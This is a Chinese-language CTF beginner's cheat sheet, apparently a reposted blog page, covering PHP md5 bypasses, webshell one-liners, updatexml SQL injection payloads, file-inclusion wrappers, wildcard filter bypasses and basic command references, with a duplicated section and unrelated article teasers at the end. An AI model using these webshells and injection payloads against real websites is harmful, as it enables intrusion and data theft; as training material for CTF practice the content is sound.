CTF入门知识点

CTF知识点

请添加图片描述

md5函数

<?php
    $a = '123';
    echo md5($a,true);
?>
括号中true显示输出二进制
替换成false显示输出十六进制

绕过

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ' or '6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

弱类型比较

两个数的md5加密后值0e开头就可以绕过,因为php在进行弱类型比较时,会转换字符串类型,再进行比较
两个数都以0e开头会被认为科学计数法,0e后面加任何数再科学计数法中都是0,所以两数相等
var_dump("0e12345"=="0e66666");//true
var_dump(md5('240610708')==md5('QNKCDZO'));//true

强类型比较

if(md5((string)$_GET['a'])===md5((string)$_GET['b']))
{<!-- -->
    var_dump($flag);
}
此时两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
var_dump(md5([1,2,3])==md5([4,5,6]));//true

var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]=1//true
数值类型加密位null

进制

DEC 十进制

HEX 十六进制

BIN 二进制

OCT 八进制

木马

常用一句话

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
<script language="php">eval($_POST['cmd']);</script>

GIF89a(GIF16进制的ASCII值)

文件头

FF D8 FF E1                   GPEG(jpg)
89 50 4E 47                   PNG(png)
47 49 46 38                   GIF(gif)
49 49 2A 00                   TIFF(tif)
42 4D C0 01                   Windows  Bitmap(bmp)
50 4B 03 04                   ZIP Archive (zip)
52 61 72 21                   RAR Archive (rar)
38 42 50 53                   Adobe Photoshop (psd)
7B 5C 72 74 66                Rich Text Format (rtf)
3C 3F 78 6D 6C                XML(xml)
68 74 6D 6C 3E                HTML (html)
25 50 44 46 2D 31 2E          Adobe Acrobat (pdf)
57 41 56 45                   Wave (wav)
4D 3C 2B 1A                   pcap (pcap)
52 49 46 46                   WEBP(webp)

MIME语法

通用结构:type/subtype

type:表示多个子类的独立类别

subtype:表示细分后的类型

对大小写不敏感,传统都是小写

常用MIME类型

文件类型MIME类型描述
.jpg | .jpegimage/jpeg使用图像公共图像格式
.pngimage/png
.binapplication/octet-stream当消息是未知类型和包含任何字节数据时使用

SQL注入

堆叠注入中后端代码猜测

*,1

报错注入:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

PHP

error_reporting(0):错误报告等级,参数为0表示关闭所有错误报告
class 定义类 public 定义公共属性 
preg_match 正则表达

php短标签
<?= ?>相当于<?php echo ...?> 例:<?='hello'?> //输出'hello'
php反引号 
可以直接执行系统命令,想输出执行结果还需要echo等函数
<?php echo `ls /`;?>  		 				还可以使用短标签<?='ls /'?>

php5和php7的区别

在 PHP 5 中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)

PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();

通配符在RCE中的利用

原理

在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
在 Shell 命令行中,?这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道*通配符:
在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
在shell命令行中,*这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。

利用?*在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤

假设flag在/flag中:
cat /fla?
cat /fla*

假设flag在/flag.txt中:
cat /fla????
cat /fla*

假设flag在/flags/flag.txt中:
cat /fla??/fla????
cat /fla*/fla*

假设flag在flagg文件加里:
cat /?????/fla?
cat /?????/fla*

Python转换交互式

python -c 'import pty;pty.spawn("/bin/bash")'

ssh登录

ssh -p xx [user@ip](mailto:user@ip)

xx 为 端口号   user为用户名  ip为要登陆的ip

状态码

200  OK
    表示请求被服务器正常处理 

302  Found 
    临时重定向,表示请求的资源临时搬到了其他位置 

304  Not Modified 
    表示客户端发送附带条件的请求时,条件不满足 

400  Bad Request 
    表示请求报文存在语法错误或参数错误,服务器不理解 

403  Forbidden 
    表示对请求资源的访问被服务器拒绝了 

404  Not Found  
    表示服务器找不到你请求的资源

500 Internal Server Error  
    表示服务器执行请求的时候出错了

反序列化

常见的几个魔法函数:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行

__toString:当对象被当做一个字符串使用时调用

__sleep:序列化对象之前就调用此方法(其返回需要一个数组)

__wakeup:反序列化恢复对象之前调用该方法 优先调用,而不会调用_construct
绕过:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过_wakeup执行

__call:当调用对象中不存在的方法会自动调用该方法

__get:在调用私有属性的时候会自动执行

__isset():在不可访问的属性上调用isset()或empty()触发

__unset():在不可访问的属性上使用unset()时触发

文件包含漏洞

include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
include_once: 这个函数跟和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含

require: 跟include唯一不同的是,当产生错误时候,整个php文件停止运行
require_once: require_once语句和require 语句完全相同,唯一区别是PHP会检查该文件是否已经被包含过,如果是则不会再次包含

注:这四个函数不管执行哪个后缀的文件,都将他当作php文件执行

远程文件包含

allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件)
分为 无绕过 ?绕过 #绕过  空格绕过
    
data:// 本身是数据流封装器,原理用法和php://input类似,但是是发送get请求参数
例http://ip/test.php?a=data://text/plain,条件

php伪协议

php://filter
?file=php://filter/convert.base64-encode/resource=xx.php
?file=php://filter/read=convert.base64-encode/resource=xx.php

若base被过滤,utf编码:
?file=php://filter/convert.iconv.utf8.utf16/resource=xx.php 

php://input 条件:allow_url_include=On 实际相当于远程包含利用
php://打开交流文件后,我们直接在流里面写入我们的恶意代码,此时包含可执行文件
例:http://ip/test.php?a=php://input //然后在post里传入所需条件

windows常用命令

netstat -ano  查看系统进程

tasklist 列出任务及进程号

taskkill 杀进程

type 查看文件 类似于linux中cat

md 创建文件夹 类似于linux中mkdir

tree 查看目录结构

tracert 路由跟踪

cls 清空命令行 类似于linux中clear


linux常用命令

ls -a 查看所有文件,包括隐藏文件

echo 输入什么就打印什么

> 覆盖 常见用法 echo word > test.txt 

>> 追加 常见用法 echo word >> test.txt 

find 目录 -name 文件 查找指定文件

grep 参数 目标 

id 显示用户id 所属群id

netstat 网络状态 
-anplt 查看所有tcp端口
-anplu 查看所有udp端口

uname 显示系统信息
-a 显示系统详细信息

--help 命令使用详情

clear 清空命令行

touch 创建文件

mkdir 创建目录

chmod 权限 文件所有者 文件所属组 其他用户 读4 写2 执行1

scp 复制文件和目录


url使用linux命令

?url=system("ls /");注意:ls后面要有一个空格,然后一个分号结束,这不就出来了flag

?url=system("cat /f*");

?url=system("cat /flllllaaaaaaggggggg");

常见端口

数据库端口号
Oracle1521
Mysql3306
Sql server1433
Redis6379
PostgreSQL5432
MongoDB27017
DB250000
服务端口号
FTP 数据传输 控制链接20 21
ssh22
telnet23
SMTP 简单邮件传输25
DNS域名解析53
Http代理80

常见备份文件名

.git
.svn
.swp
.~
.bak
.bash_history

json对象

存储数据的方式,使用键值对的形式表示数据

JSON对象的语法规则如下:

使用花括号 {} 表示一个JSON对象。
键和值之间使用冒号 : 分隔。
每个键值对之间使用逗号 , 分隔。
键必须是一个字符串,需要用双引号或单引号括起来。
值可以是字符串、数字、布尔值、数组、嵌套的JSON对象或null。

下面是json对象实例

{
   "name": "John",
   "age": 30,
   "isStudent": false,
   "interests": ["reading", "traveling"],
   "address": {
      "city": "New York",
      "country": "USA"
   },
   "phoneNumber": null

在上面的示例中,name、age、isStudent、address、phoneNumber都是键,对应的值分别是字符串、数字、布尔值、嵌套的JSON对象、null。

你可以使用各种编程语言(如JavaScript、Python、PHP等)来创建、访问和操作JSON对象。

例:[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

get传入?json={“x”:“wllm”}

post传入id=wllmNB

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

word pdf 文档知识点

word中document.xml文件是所有文字存贮的地方 查找pass

PDF隐写 wbStego4open

PPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割

问和操作JSON对象。

例:[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

get传入?json={“x”:“wllm”}

post传入id=wllmNB

[外链图片转存中…(img-pJOVzMpV-1720191316208)]

word pdf 文档知识点

word中document.xml文件是所有文字存贮的地方 查找pass

PDF隐写 wbStego4open

PPT 打开时纯色图片 猜是彩虹 红橙黄绿青蓝紫 对应0-6 白色面板是分割

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/776233.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

模型优化调参利器贝叶斯优化bayesian-optimization实践

早在之前很多项目尤其是预测类型的项目中&#xff0c;就已经比较广泛地在实用贝叶斯优化库了&#xff0c;这是一个非常出色的纯python实现的项目&#xff0c;地址在这里&#xff0c;如下所示&#xff1a; 写这篇文章主要有两个目的&#xff0c;一方面是觉得这个工具库挺不错的值…

BeikeShop多国语言多货币商城系统源码基于Laravel框架

BeikeShop是基于 Laravel 开发的一款开源商城系统&#xff0c;支持多语言商城 多货币商城 100%全开源 ChatGPT OpenAI B2C商城系统 H5商城 PHP商城系统 商城源码 PC商城 跨境电商系统 跨境商城系统 电商商城系统 Laravel 10 框架开发系统&#xff0c;支持插件市场。 Event 机制…

Qt 加载图片的几种方式 以及加载 loading

项目中经常使用加载图片&#xff1a; 常用有两种方式&#xff1a; 1.使用 QWidget 加载图片&#xff1a; 效果&#xff1a; 样例源码&#xff1a; int pict_H ui->widgetImage->height();int pict_W ui->widgetImage->width();ui->widgetImage->setFixe…

C++ 智能指针使用不当导致内存泄漏问题

shared_ptr相互嵌套导致循环引用 代码示例 #include <iostream> #include <memory> using namespace std;class B;class A { public:std::shared_ptr<B> b_ptr;~A() { std::cout << "A destroyed\n"; } };class B { public:std::shared_pt…

百日筑基第十二天-入门Elasticsearch

百日筑基第十二天-入门Elasticsearch Elasticsearch 是什么 Elasticsearch 是一个分布式、RESTful 风格的搜索和数据分析引擎。 安装 Elasticsearch 下载&#xff1a;https://www.elastic.co/cn/downloads/elasticsearch Elasticsearch 是免安装的&#xff0c;只需要把 zip…

实在智能对话钉钉:宜搭+实在Agent,AI时代的工作方式

比起一个需求需要等产品、技术排期&#xff0c;越来越多的人开始追求把自己武装成「全能战士」&#xff0c;通过低代码工具一搭&#xff0c;一个高效的工作平台便产生了。 宜搭是钉钉自研的低代码应用构建平台&#xff0c;无论是专业开发者还是没有代码基础的业务人员&#xf…

Nuxt3 的生命周期和钩子函数(十一)

title: Nuxt3 的生命周期和钩子函数&#xff08;十一&#xff09; date: 2024/7/5 updated: 2024/7/5 author: cmdragon excerpt: 摘要&#xff1a;本文详细介绍了Nuxt3中几个关键的生命周期钩子和它们的使用方法&#xff0c;包括webpack:done用于Webpack编译完成后执行操作…

Linux运维:MySQL备份,物理冷备份,热备,完备+二进制日志

备份类型 完全备份、增量备份、差异备份 完全备份&#xff1a;整个数据集都备份 增量备份&#xff1a;仅备份最近一次完全备份或增量备份&#xff08;如果存在增量&#xff09;以来变化的数据&#xff0c;备份较快&#xff0c;还原复杂。 差异备份&#xff1a;对比前一次备…

2024 年第十四届亚太数学建模竞赛(中文赛项)浅析

需要完整B题资料&#xff0c;请关注&#xff1a;“小何数模”&#xff01; 本次亚太(中文赛)数学建模的赛题已正式出炉&#xff0c;无论是赛题难度还是认可度&#xff0c;该比赛都是仅次于数模国赛的独一档&#xff0c;可以用于国赛前的练手训练。考虑到大家解题实属不易&…

离线安装arm架构Firefox

离线安装Firefox浏览器及其插件在ARM架构的设备上&#xff08;如树莓派、部分Android设备或其他采用ARM处理器的Linux系统&#xff09;可能需要一些特殊步骤&#xff0c;因为默认情况下&#xff0c;大多数浏览器和插件都是为x86架构设计的。对于ARM架构&#xff0c;你需要找到特…

深圳航空顶象验证码逆向,和百度验证码训练思路

声明(lianxi a15018601872) 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 前言(lianxi a…

Java项目:基于SSM框架实现的校园快递代取管理系统【ssm+B/S架构+源码+数据库+毕业论文】

一、项目简介 本项目是一套基于SSM框架实现的校园快递代取管理系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单、…

Windows系统下载安装ngnix

一 nginx下载安装 nginx是HTTP服务器和反向代理服务器&#xff0c;功能非常丰富&#xff0c;在nginx官网首页&#xff0c;点击download 在download页面下&#xff0c;可以选择Stable version稳定版本&#xff0c;点击下载 将下载完成的zip解压即可&#xff0c;然乎在nginx所在…

Spring Boot 中的监视器是什么?有什么作用?

前言&#xff1a; 监听器相信熟悉 Spring、Spring Boot 的都知道&#xff0c;但是监视器又是什么&#xff1f;估计很多人一脸懵的状态&#xff0c;本篇分享一下 Spring Boot 的监视器。 Spring Boot 系列文章传送门 Spring Boot 启动流程源码分析&#xff08;2&#xff09; …

《数字图像处理-OpenCV/Python》第17章:图像的特征描述

《数字图像处理-OpenCV/Python》第17章&#xff1a;图像的特征描述 本书京东 优惠购书链接 https://item.jd.com/14098452.html 本书CSDN 独家连载专栏 https://blog.csdn.net/youcans/category_12418787.html 第17章&#xff1a;图像的特征描述 特征检测与匹配是计算机视觉的…

opencv概念以及安装方法

#opencv相关概念介绍 Open Source Computer Vision Library 缩写 opencv 翻译&#xff1a;开源的计算机视觉库 &#xff0c;英特尔公司发起并开发&#xff0c;支持多种编程语言&#xff08;如C、Python、Java等&#xff09;&#xff0c;支持计算机视觉和机器学习等众多算法&a…

【C++】开源:nlohmann/json数据解析库配置使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍nlohmann/json数据解析库配置使用。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&am…

conda环境变量+常用操作+配置镜像源

、1、conda环境变量配置 根据我的上篇文章&#xff0c;应该都已经安装了conda和pycharm&#xff0c;然后可能会出现conda的没有配置到系统的环境变量上&#xff0c;这里首先教大家如何配置系统的环境变量&#xff0c;在进行后续操作&#xff0c;如果环境变量已经配置完毕可以自…

【C语言】指针(1)--入门理解

目录 一、内存和地址 二、指针变量和地址 三、指针变量类型的意义 一、内存和地址 只要讲指针就离不开内存 因为指针就是访问内存的 计算上CPU&#xff08;中央处理器&#xff09;在处理数据的时候&#xff0c;需要的数据是在内存中读取的&#xff0c;处理后的数 据也会放…

一款强大且免费开源的多连接数据库管理工具

大家好&#xff0c;今天给大家分享一款免费开源的跨平台数据库管理工具DbGate。 DbGate是一款免费开源的跨平台数据库管理工具&#xff0c;支持多种数据库&#xff0c;包括MySQL、PostgreSQL、SQL Server、MongoDB、SQLite等。它可以在Windows、Linux、Mac操作系统上运行&#…